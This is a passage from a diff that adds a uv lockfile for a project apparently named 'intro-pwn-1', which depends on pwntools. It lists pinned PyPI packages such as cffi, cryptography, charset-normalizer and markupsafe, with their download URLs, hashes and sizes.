+ { url = "https://files.pythonhosted.org/packages/8b/f1/672d303ddf17c24fc83afd712316fda78dc6fce1cd53011b839483e1ecc8/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2", size = 178802, upload-time = "2024-09-04T20:44:30.289Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/2d/eab2e858a91fdff70533cab61dcff4a1f55ec60425832ddfdc9cd36bc8af/cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3", size = 454792, upload-time = "2024-09-04T20:44:32.01Z" },
+ { url = "https://files.pythonhosted.org/packages/75/b2/fbaec7c4455c604e29388d55599b99ebcc250a60050610fadde58932b7ee/cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683", size = 478893, upload-time = "2024-09-04T20:44:33.606Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/b7/6e4a2162178bf1935c336d4da8a9352cccab4d3a5d7914065490f08c0690/cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5", size = 485810, upload-time = "2024-09-04T20:44:35.191Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/8a/1d0e4a9c26e54746dc08c2c6c037889124d4f59dffd853a659fa545f1b40/cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4", size = 471200, upload-time = "2024-09-04T20:44:36.743Z" },
+ { url = "https://files.pythonhosted.org/packages/26/9f/1aab65a6c0db35f43c4d1b4f580e8df53914310afc10ae0397d29d697af4/cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd", size = 479447, upload-time = "2024-09-04T20:44:38.492Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/e4/fb8b3dd8dc0e98edf1135ff067ae070bb32ef9d509d6cb0f538cd6f7483f/cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed", size = 484358, upload-time = "2024-09-04T20:44:40.046Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/47/d7145bf2dc04684935d57d67dff9d6d795b2ba2796806bb109864be3a151/cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9", size = 488469, upload-time = "2024-09-04T20:44:41.616Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/ee/f94057fa6426481d663b88637a9a10e859e492c73d0384514a17d78ee205/cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d", size = 172475, upload-time = "2024-09-04T20:44:43.733Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/fc/6a8cb64e5f0324877d503c854da15d76c1e50eb722e320b15345c4d0c6de/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a", size = 182009, upload-time = "2024-09-04T20:44:45.309Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e4/33/89c2ced2b67d1c2a61c19c6751aa8902d46ce3dacb23600a283619f5a12d/charset_normalizer-3.4.2.tar.gz", hash = "sha256:5baececa9ecba31eff645232d59845c07aa030f0c81ee70184a90d35099a0e63", size = 126367, upload-time = "2025-05-02T08:34:42.01Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d7/a4/37f4d6035c89cac7930395a35cc0f1b872e652eaafb76a6075943754f095/charset_normalizer-3.4.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0c29de6a1a95f24b9a1aa7aefd27d2487263f00dfd55a77719b530788f75cff7", size = 199936, upload-time = "2025-05-02T08:32:33.712Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/8a/1a5e33b73e0d9287274f899d967907cd0bf9c343e651755d9307e0dbf2b3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cddf7bd982eaa998934a91f69d182aec997c6c468898efe6679af88283b498d3", size = 143790, upload-time = "2025-05-02T08:32:35.768Z" },
+ { url = "https://files.pythonhosted.org/packages/66/52/59521f1d8e6ab1482164fa21409c5ef44da3e9f653c13ba71becdd98dec3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcbe676a55d7445b22c10967bceaaf0ee69407fbe0ece4d032b6eb8d4565982a", size = 153924, upload-time = "2025-05-02T08:32:37.284Z" },
+ { url = "https://files.pythonhosted.org/packages/86/2d/fb55fdf41964ec782febbf33cb64be480a6b8f16ded2dbe8db27a405c09f/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d41c4d287cfc69060fa91cae9683eacffad989f1a10811995fa309df656ec214", size = 146626, upload-time = "2025-05-02T08:32:38.803Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/73/6ede2ec59bce19b3edf4209d70004253ec5f4e319f9a2e3f2f15601ed5f7/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e594135de17ab3866138f496755f302b72157d115086d100c3f19370839dd3a", size = 148567, upload-time = "2025-05-02T08:32:40.251Z" },
+ { url = "https://files.pythonhosted.org/packages/09/14/957d03c6dc343c04904530b6bef4e5efae5ec7d7990a7cbb868e4595ee30/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf713fe9a71ef6fd5adf7a79670135081cd4431c2943864757f0fa3a65b1fafd", size = 150957, upload-time = "2025-05-02T08:32:41.705Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/c8/8174d0e5c10ccebdcb1b53cc959591c4c722a3ad92461a273e86b9f5a302/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a370b3e078e418187da8c3674eddb9d983ec09445c99a3a263c2011993522981", size = 145408, upload-time = "2025-05-02T08:32:43.709Z" },
+ { url = "https://files.pythonhosted.org/packages/58/aa/8904b84bc8084ac19dc52feb4f5952c6df03ffb460a887b42615ee1382e8/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a955b438e62efdf7e0b7b52a64dc5c3396e2634baa62471768a64bc2adb73d5c", size = 153399, upload-time = "2025-05-02T08:32:46.197Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/26/89ee1f0e264d201cb65cf054aca6038c03b1a0c6b4ae998070392a3ce605/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:7222ffd5e4de8e57e03ce2cef95a4c43c98fcb72ad86909abdfc2c17d227fc1b", size = 156815, upload-time = "2025-05-02T08:32:48.105Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/07/68e95b4b345bad3dbbd3a8681737b4338ff2c9df29856a6d6d23ac4c73cb/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:bee093bf902e1d8fc0ac143c88902c3dfc8941f7ea1d6a8dd2bcb786d33db03d", size = 154537, upload-time = "2025-05-02T08:32:49.719Z" },
+ { url = "https://files.pythonhosted.org/packages/77/1a/5eefc0ce04affb98af07bc05f3bac9094513c0e23b0562d64af46a06aae4/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dedb8adb91d11846ee08bec4c8236c8549ac721c245678282dcb06b221aab59f", size = 149565, upload-time = "2025-05-02T08:32:51.404Z" },
+ { url = "https://files.pythonhosted.org/packages/37/a0/2410e5e6032a174c95e0806b1a6585eb21e12f445ebe239fac441995226a/charset_normalizer-3.4.2-cp312-cp312-win32.whl", hash = "sha256:db4c7bf0e07fc3b7d89ac2a5880a6a8062056801b83ff56d8464b70f65482b6c", size = 98357, upload-time = "2025-05-02T08:32:53.079Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/4f/c02d5c493967af3eda9c771ad4d2bbc8df6f99ddbeb37ceea6e8716a32bc/charset_normalizer-3.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:5a9979887252a82fefd3d3ed2a8e3b937a7a809f65dcb1e068b090e165bbe99e", size = 105776, upload-time = "2025-05-02T08:32:54.573Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/12/a93df3366ed32db1d907d7593a94f1fe6293903e3e92967bebd6950ed12c/charset_normalizer-3.4.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:926ca93accd5d36ccdabd803392ddc3e03e6d4cd1cf17deff3b989ab8e9dbcf0", size = 199622, upload-time = "2025-05-02T08:32:56.363Z" },
+ { url = "https://files.pythonhosted.org/packages/04/93/bf204e6f344c39d9937d3c13c8cd5bbfc266472e51fc8c07cb7f64fcd2de/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eba9904b0f38a143592d9fc0e19e2df0fa2e41c3c3745554761c5f6447eedabf", size = 143435, upload-time = "2025-05-02T08:32:58.551Z" },
+ { url = "https://files.pythonhosted.org/packages/22/2a/ea8a2095b0bafa6c5b5a55ffdc2f924455233ee7b91c69b7edfcc9e02284/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3fddb7e2c84ac87ac3a947cb4e66d143ca5863ef48e4a5ecb83bd48619e4634e", size = 153653, upload-time = "2025-05-02T08:33:00.342Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/57/1b090ff183d13cef485dfbe272e2fe57622a76694061353c59da52c9a659/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98f862da73774290f251b9df8d11161b6cf25b599a66baf087c1ffe340e9bfd1", size = 146231, upload-time = "2025-05-02T08:33:02.081Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/28/ffc026b26f441fc67bd21ab7f03b313ab3fe46714a14b516f931abe1a2d8/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c9379d65defcab82d07b2a9dfbfc2e95bc8fe0ebb1b176a3190230a3ef0e07c", size = 148243, upload-time = "2025-05-02T08:33:04.063Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/0f/9abe9bd191629c33e69e47c6ef45ef99773320e9ad8e9cb08b8ab4a8d4cb/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e635b87f01ebc977342e2697d05b56632f5f879a4f15955dfe8cef2448b51691", size = 150442, upload-time = "2025-05-02T08:33:06.418Z" },
+ { url = "https://files.pythonhosted.org/packages/67/7c/a123bbcedca91d5916c056407f89a7f5e8fdfce12ba825d7d6b9954a1a3c/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1c95a1e2902a8b722868587c0e1184ad5c55631de5afc0eb96bc4b0d738092c0", size = 145147, upload-time = "2025-05-02T08:33:08.183Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/fe/1ac556fa4899d967b83e9893788e86b6af4d83e4726511eaaad035e36595/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ef8de666d6179b009dce7bcb2ad4c4a779f113f12caf8dc77f0162c29d20490b", size = 153057, upload-time = "2025-05-02T08:33:09.986Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/ff/acfc0b0a70b19e3e54febdd5301a98b72fa07635e56f24f60502e954c461/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:32fc0341d72e0f73f80acb0a2c94216bd704f4f0bce10aedea38f30502b271ff", size = 156454, upload-time = "2025-05-02T08:33:11.814Z" },
+ { url = "https://files.pythonhosted.org/packages/92/08/95b458ce9c740d0645feb0e96cea1f5ec946ea9c580a94adfe0b617f3573/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:289200a18fa698949d2b39c671c2cc7a24d44096784e76614899a7ccf2574b7b", size = 154174, upload-time = "2025-05-02T08:33:13.707Z" },
+ { url = "https://files.pythonhosted.org/packages/78/be/8392efc43487ac051eee6c36d5fbd63032d78f7728cb37aebcc98191f1ff/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a476b06fbcf359ad25d34a057b7219281286ae2477cc5ff5e3f70a246971148", size = 149166, upload-time = "2025-05-02T08:33:15.458Z" },
+ { url = "https://files.pythonhosted.org/packages/44/96/392abd49b094d30b91d9fbda6a69519e95802250b777841cf3bda8fe136c/charset_normalizer-3.4.2-cp313-cp313-win32.whl", hash = "sha256:aaeeb6a479c7667fbe1099af9617c83aaca22182d6cf8c53966491a0f1b7ffb7", size = 98064, upload-time = "2025-05-02T08:33:17.06Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/b0/0200da600134e001d91851ddc797809e2fe0ea72de90e09bec5a2fbdaccb/charset_normalizer-3.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:aa6af9e7d59f9c12b33ae4e9450619cf2488e2bbe9b44030905877f0b2324980", size = 105641, upload-time = "2025-05-02T08:33:18.753Z" },
+ { url = "https://files.pythonhosted.org/packages/20/94/c5790835a017658cbfabd07f3bfb549140c3ac458cfc196323996b10095a/charset_normalizer-3.4.2-py3-none-any.whl", hash = "sha256:7f56930ab0abd1c45cd15be65cc741c28b1c9a34876ce8c17a2fa107810c0af0", size = 52626, upload-time = "2025-05-02T08:34:40.053Z" },
+]
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
+]
+
+[[package]]
+name = "colored-traceback"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama", marker = "os_name == 'nt'" },
+ { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/07/80/afcf567031ab8565f8f8d2bd14b007d313ea3258e50394e85b10a405099c/colored-traceback-0.4.2.tar.gz", hash = "sha256:ecbc8e41f0712ea81931d7cd436b8beb9f3eff1595d2498f183e0ef69b56fe84", size = 4707, upload-time = "2024-07-13T19:49:37.027Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/da/28/05e035e2d95dc469408bcb1edfbee5d4fcfe3b0a5fa3701c5f1f10c77c49/colored_traceback-0.4.2-py3-none-any.whl", hash = "sha256:8ad752a5b3c4e50bccd99d4a2d01e16d80926b519e07a85437ecbf8b4f8ce884", size = 5502, upload-time = "2024-07-13T19:49:35.486Z" },
+]
+
+[[package]]
+name = "cryptography"
+version = "45.0.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fe/c8/a2a376a8711c1e11708b9c9972e0c3223f5fc682552c82d8db844393d6ce/cryptography-45.0.4.tar.gz", hash = "sha256:7405ade85c83c37682c8fe65554759800a4a8c54b2d96e0f8ad114d31b808d57", size = 744890, upload-time = "2025-06-10T00:03:51.297Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cc/1c/92637793de053832523b410dbe016d3f5c11b41d0cf6eef8787aabb51d41/cryptography-45.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:425a9a6ac2823ee6e46a76a21a4e8342d8fa5c01e08b823c1f19a8b74f096069", size = 7055712, upload-time = "2025-06-10T00:02:38.826Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/14/93b69f2af9ba832ad6618a03f8a034a5851dc9a3314336a3d71c252467e1/cryptography-45.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:680806cf63baa0039b920f4976f5f31b10e772de42f16310a6839d9f21a26b0d", size = 4205335, upload-time = "2025-06-10T00:02:41.64Z" },
+ { url = "https://files.pythonhosted.org/packages/67/30/fae1000228634bf0b647fca80403db5ca9e3933b91dd060570689f0bd0f7/cryptography-45.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4ca0f52170e821bc8da6fc0cc565b7bb8ff8d90d36b5e9fdd68e8a86bdf72036", size = 4431487, upload-time = "2025-06-10T00:02:43.696Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/5a/7dffcf8cdf0cb3c2430de7404b327e3db64735747d641fc492539978caeb/cryptography-45.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f3fe7a5ae34d5a414957cc7f457e2b92076e72938423ac64d215722f6cf49a9e", size = 4208922, upload-time = "2025-06-10T00:02:45.334Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/f3/528729726eb6c3060fa3637253430547fbaaea95ab0535ea41baa4a6fbd8/cryptography-45.0.4-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:25eb4d4d3e54595dc8adebc6bbd5623588991d86591a78c2548ffb64797341e2", size = 3900433, upload-time = "2025-06-10T00:02:47.359Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/4a/67ba2e40f619e04d83c32f7e1d484c1538c0800a17c56a22ff07d092ccc1/cryptography-45.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ce1678a2ccbe696cf3af15a75bb72ee008d7ff183c9228592ede9db467e64f1b", size = 4464163, upload-time = "2025-06-10T00:02:49.412Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/9a/b4d5aa83661483ac372464809c4b49b5022dbfe36b12fe9e323ca8512420/cryptography-45.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:49fe9155ab32721b9122975e168a6760d8ce4cffe423bcd7ca269ba41b5dfac1", size = 4208687, upload-time = "2025-06-10T00:02:50.976Z" },
+ { url = "https://files.pythonhosted.org/packages/db/b7/a84bdcd19d9c02ec5807f2ec2d1456fd8451592c5ee353816c09250e3561/cryptography-45.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:2882338b2a6e0bd337052e8b9007ced85c637da19ef9ecaf437744495c8c2999", size = 4463623, upload-time = "2025-06-10T00:02:52.542Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/84/69707d502d4d905021cac3fb59a316344e9f078b1da7fb43ecde5e10840a/cryptography-45.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:23b9c3ea30c3ed4db59e7b9619272e94891f8a3a5591d0b656a7582631ccf750", size = 4332447, upload-time = "2025-06-10T00:02:54.63Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/ee/d4f2ab688e057e90ded24384e34838086a9b09963389a5ba6854b5876598/cryptography-45.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b0a97c927497e3bc36b33987abb99bf17a9a175a19af38a892dc4bbb844d7ee2", size = 4572830, upload-time = "2025-06-10T00:02:56.689Z" },
+ { url = "https://files.pythonhosted.org/packages/70/d4/994773a261d7ff98034f72c0e8251fe2755eac45e2265db4c866c1c6829c/cryptography-45.0.4-cp311-abi3-win32.whl", hash = "sha256:e00a6c10a5c53979d6242f123c0a97cff9f3abed7f064fc412c36dc521b5f257", size = 2932769, upload-time = "2025-06-10T00:02:58.467Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/42/c80bd0b67e9b769b364963b5252b17778a397cefdd36fa9aa4a5f34c599a/cryptography-45.0.4-cp311-abi3-win_amd64.whl", hash = "sha256:817ee05c6c9f7a69a16200f0c90ab26d23a87701e2a284bd15156783e46dbcc8", size = 3410441, upload-time = "2025-06-10T00:03:00.14Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/0b/2488c89f3a30bc821c9d96eeacfcab6ff3accc08a9601ba03339c0fd05e5/cryptography-45.0.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:964bcc28d867e0f5491a564b7debb3ffdd8717928d315d12e0d7defa9e43b723", size = 7031836, upload-time = "2025-06-10T00:03:01.726Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/51/8c584ed426093aac257462ae62d26ad61ef1cbf5b58d8b67e6e13c39960e/cryptography-45.0.4-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6a5bf57554e80f75a7db3d4b1dacaa2764611ae166ab42ea9a72bcdb5d577637", size = 4195746, upload-time = "2025-06-10T00:03:03.94Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/7d/4b0ca4d7af95a704eef2f8f80a8199ed236aaf185d55385ae1d1610c03c2/cryptography-45.0.4-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:46cf7088bf91bdc9b26f9c55636492c1cce3e7aaf8041bbf0243f5e5325cfb2d", size = 4424456, upload-time = "2025-06-10T00:03:05.589Z" },
+ { url = "https://files.pythonhosted.org/packages/1d/45/5fabacbc6e76ff056f84d9f60eeac18819badf0cefc1b6612ee03d4ab678/cryptography-45.0.4-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:7bedbe4cc930fa4b100fc845ea1ea5788fcd7ae9562e669989c11618ae8d76ee", size = 4198495, upload-time = "2025-06-10T00:03:09.172Z" },
+ { url = "https://files.pythonhosted.org/packages/55/b7/ffc9945b290eb0a5d4dab9b7636706e3b5b92f14ee5d9d4449409d010d54/cryptography-45.0.4-cp37-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:eaa3e28ea2235b33220b949c5a0d6cf79baa80eab2eb5607ca8ab7525331b9ff", size = 3885540, upload-time = "2025-06-10T00:03:10.835Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/e3/57b010282346980475e77d414080acdcb3dab9a0be63071efc2041a2c6bd/cryptography-45.0.4-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:7ef2dde4fa9408475038fc9aadfc1fb2676b174e68356359632e980c661ec8f6", size = 4452052, upload-time = "2025-06-10T00:03:12.448Z" },
+ { url = "https://files.pythonhosted.org/packages/37/e6/ddc4ac2558bf2ef517a358df26f45bc774a99bf4653e7ee34b5e749c03e3/cryptography-45.0.4-cp37-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:6a3511ae33f09094185d111160fd192c67aa0a2a8d19b54d36e4c78f651dc5ad", size = 4198024, upload-time = "2025-06-10T00:03:13.976Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/c0/85fa358ddb063ec588aed4a6ea1df57dc3e3bc1712d87c8fa162d02a65fc/cryptography-45.0.4-cp37-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:06509dc70dd71fa56eaa138336244e2fbaf2ac164fc9b5e66828fccfd2b680d6", size = 4451442, upload-time = "2025-06-10T00:03:16.248Z" },
+ { url = "https://files.pythonhosted.org/packages/33/67/362d6ec1492596e73da24e669a7fbbaeb1c428d6bf49a29f7a12acffd5dc/cryptography-45.0.4-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5f31e6b0a5a253f6aa49be67279be4a7e5a4ef259a9f33c69f7d1b1191939872", size = 4325038, upload-time = "2025-06-10T00:03:18.4Z" },
+ { url = "https://files.pythonhosted.org/packages/53/75/82a14bf047a96a1b13ebb47fb9811c4f73096cfa2e2b17c86879687f9027/cryptography-45.0.4-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:944e9ccf67a9594137f942d5b52c8d238b1b4e46c7a0c2891b7ae6e01e7c80a4", size = 4560964, upload-time = "2025-06-10T00:03:20.06Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/37/1a3cba4c5a468ebf9b95523a5ef5651244693dc712001e276682c278fc00/cryptography-45.0.4-cp37-abi3-win32.whl", hash = "sha256:c22fe01e53dc65edd1945a2e6f0015e887f84ced233acecb64b4daadb32f5c97", size = 2924557, upload-time = "2025-06-10T00:03:22.563Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/4b/3256759723b7e66380397d958ca07c59cfc3fb5c794fb5516758afd05d41/cryptography-45.0.4-cp37-abi3-win_amd64.whl", hash = "sha256:627ba1bc94f6adf0b0a2e35d87020285ead22d9f648c7e75bb64f367375f3b22", size = 3395508, upload-time = "2025-06-10T00:03:24.586Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.10"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490, upload-time = "2024-09-15T18:07:39.745Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442, upload-time = "2024-09-15T18:07:37.964Z" },
+]
+
+[[package]]
+name = "intervaltree"
+version = "3.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "sortedcontainers" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/50/fb/396d568039d21344639db96d940d40eb62befe704ef849b27949ded5c3bb/intervaltree-3.1.0.tar.gz", hash = "sha256:902b1b88936918f9b2a19e0e5eb7ccb430ae45cde4f39ea4b36932920d33952d", size = 32861, upload-time = "2020-08-03T08:01:11.392Z" }
+
+[[package]]
+name = "intro-pwn-1"
+version = "0.1.0"
+source = { virtual = "." }
+dependencies = [
+ { name = "pwntools" },
+]
+
+[package.metadata]
+requires-dist = [{ name = "pwntools", specifier = ">=4.14.1" }]
+
+[[package]]
+name = "mako"
+version = "1.3.10"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markupsafe" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9e/38/bd5b78a920a64d708fe6bc8e0a2c075e1389d53bef8413725c63ba041535/mako-1.3.10.tar.gz", hash = "sha256:99579a6f39583fa7e5630a28c3c1f440e4e97a414b80372649c0ce338da2ea28", size = 392474, upload-time = "2025-04-10T12:44:31.16Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/87/fb/99f81ac72ae23375f22b7afdb7642aba97c00a713c217124420147681a2f/mako-1.3.10-py3-none-any.whl", hash = "sha256:baef24a52fc4fc514a0887ac600f9f1cff3d82c61d4d700a1fa84d597b88db59", size = 78509, upload-time = "2025-04-10T12:50:53.297Z" },
+]
+
+[[package]]
+name = "markupsafe"
+version = "3.0.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/22/09/d1f21434c97fc42f09d290cbb6350d44eb12f09cc62c9476effdb33a18aa/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf", size = 14274, upload-time = "2024-10-18T15:21:13.777Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/b0/18f76bba336fa5aecf79d45dcd6c806c280ec44538b3c13671d49099fdd0/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225", size = 12348, upload-time = "2024-10-18T15:21:14.822Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/25/dd5c0f6ac1311e9b40f4af06c78efde0f3b5cbf02502f8ef9501294c425b/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028", size = 24149, upload-time = "2024-10-18T15:21:15.642Z" },
